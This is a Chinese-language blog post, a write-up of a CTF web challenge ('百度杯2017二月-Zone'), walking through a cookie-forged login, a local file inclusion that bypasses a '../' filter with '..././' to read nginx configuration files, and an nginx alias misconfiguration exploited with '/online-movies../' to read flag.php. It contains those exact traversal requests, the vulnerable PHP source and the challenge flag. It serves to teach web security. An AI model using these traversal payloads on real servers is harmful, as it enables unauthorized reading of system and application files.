百度杯2017二月-Zone

原创

r00tnb 于 2018-07-26 16:51:03 发布 1244 收藏

分类专栏： CTF

本文链接：https://blog.csdn.net/kostart123/article/details/81223189

前言

这道题是我看了官方writeup才做出来的，最后是因为Nginx配置不当导致的漏洞，没错触及到了知识盲区，记录下来。

分析

点开题目链接，提示我必须登录。然后我习惯性的拿出burpsuite来抓包，发现Cookie字段中出现了可疑的`login=0`，于是改为1发送过去，就好啦。

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:06:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 1561

<html>
   <head>
      <title>Mini-Zone</title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta charset="gbk" />
      <link href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesh
      <!--[if lt IE 9]>
         <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
         <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
      <![endif]-->
   </head>
   <body>
        <div class="container">
            <div class="row clearfix">
                <div class="col-md-12 column">
                    <nav class="navbar navbar-default" role="navigation">
                        <div class="navbar-header">
                             <button type="button" class="navbar-toggle" data-toggle="collapse" data-ta
                        </div>

                        <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
                            <ul class="nav navbar-nav">
                                <li class="active">
                                     <a href="/manages/admin.php">Manage</a>
                                </li>
                                <li>
                                     <a href="/logout.php">Logout</a>
                                </li>
                            </ul>
                        </div>

                    </nav>
                    <div class="jumbotron">
                        ÍøÕ¾¨ÉèÖÐ£¡
                    </div>
                </div>
            </div>
        </div>
        <script src="https://code.jquery.com/jquery.js"></script>
    </body>
</html>
```

乱码的不用关心，可以发现有一处url是`/manages/admin.php`跟进去，burp返回

```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:09:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Location: admin.php?module=index&name=php
Content-Length: 6
```

可以看到有一个跳转，而且这查询参数咋感觉是文件包含呢。首先想到的是使用`php://filter`为协议来读源代码，但是试过了没用可能是过滤了，然后是各种试过滤，一点办法都没有。。。
然后忍不住看了writeup，麻蛋终于知道了。原来还可以读取Nginx配置文件，唉，我是真的对Nginx配置不熟，当时没想过这些，这次算是学到了。
这一题得注意，在向上访问时`../`被替换为空，于是构造如下url访问NGINX配置文件

```
GET /manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name= HTTP/1.1
```

获得返回

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 05:59:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 2708


#user  nobody;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
    #                  '$status $body_bytes_sent "$http_referer" '
    #                  '"$http_user_agent" "$http_x_forwarded_for"';

    #access_log  logs/access.log  main;

    sendfile        on;
    #tcp_nopush     on;
```

```
    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    #server {
    #    listen       80;
    #    server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

    #    location / {
    #        root   html;
    #        index  index.html index.htm;
    #    }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
    #    error_page   500 502 503 504  /50x.html;
    #    location = /50x.html {
    #        root   html;
    #    }

        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
        #
        #location ~ \.php$ {
        #    proxy_pass   http://127.0.0.1;
        #}

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        #
        #location ~ \.php$ {
        #    root           html;
        #    fastcgi_pass   127.0.0.1:9000;
        #    fastcgi_index  index.php;
        #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
        #    include        fastcgi_params;
        #}

        # deny access to .htaccess files, if Apache's document root
        # concurs with nginx's one
        #
        #location ~ /\.ht {
        #    deny  all;
        #}
    #}


    # another virtual host using mix of IP-, name-, and port-based configuration
    #
    #server {
    #    listen       8000;
    #    listen       somename:8080;
    #    server_name  somename  alias  another.alias;
```

```
        #    location / {
        #        root   html;
        #        index  index.html index.htm;
        #    }
        #}


        # HTTPS server
        #
        #server {
        #    listen       443 ssl;
        #    server_name  localhost;

        #    ssl_certificate      cert.pem;
        #    ssl_certificate_key  cert.key;

        #    ssl_session_cache    shared:SSL:1m;
        #    ssl_session_timeout  5m;

        #    ssl_ciphers  HIGH:!aNULL:!MD5;
        #    ssl_prefer_server_ciphers  on;

        #    location / {
        #        root   html;
        #        index  index.html index.htm;
        #    }
        #}
        include  sites-enabled/default;
    }
```

一看没什么问题，但是它又包含了一个文件`include sites-enabled/default;`，于是继续查看

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:04:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.30
content-text: text/html;charset=gbk
Content-Length: 728

                    server {
    listen 80;
    #listen [::]:80 default_server ipv6only=on;

    root /var/www/html;
    index index.php index.html index.htm;

    server_name localhost;

    location / {
        try_files $uri $uri/ =404;
        location ~ \.php$ {
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
            #fastcgi_pass unix:/var/run/php5-fpm.sock;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index index.php;
            include fastcgi_params;
        }
    }

    error_page 404 /404.html;

    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /var/www/html;
    }

    location /online-movies {
            alias /movie/;
            autoindex on;
        }

    location ~ /\.ht {
        deny all;
    }
}
```

这里就要注意了，因为有一个`autoindex on`也就是开启了目录遍历，然后`alias /movie/`替换匹配部分的url，也就是说如果我访问`/online-movies../`就会变成访问`/movie/../`.再加上目录遍历就可读取任意文件了。最后构造如下url获得flag

```
GET /online-movies../var/www/html/flag.php HTTP/1.1
```

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:19:40 GMT
Content-Type: application/octet-stream
Content-Length: 81
Connection: keep-alive
Last-Modified: Wed, 03 Jan 2018 04:57:42 GMT
ETag: "5a4c62c6-51"
Accept-Ranges: bytes

<?php
$flag='flag{d61d8908-465b-443e-b4b7-558d142f6fdd}';
echo 'flag_is_here';
```

后记

为了了弄清楚为什么伪协议没作用，我又读取了admin.php文件

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Wed, 03 Jan 2018 06:23:00 GMT
Content-Type: application/octet-stream
Content-Length: 586
Connection: keep-alive
Last-Modified: Fri, 17 Feb 2017 06:09:38 GMT
ETag: "58a693a2-24a"
Accept-Ranges: bytes

<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
    setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
    die("<script>alert('You need to log in!');location.href='/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
    header("Location: admin.php?module=index&name=php");

?>
                        <?php
                            $ext = $_GET['name'];
                            if ($ext === 'php') {
                                $ext = ".".$ext;
                            }else{
                                $ext = '';
                            }
                            include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
                        ?>
```

原来在module参数之前，还构造了字符串`/var/www/html`，所以连接起来后，就不是伪协议了。

总结

通过这一题，知道了web安全配置的重要性。同时也知道了，只有了解清楚web技术的方方面面才能更有效的找到安全漏洞，和提升web安全性。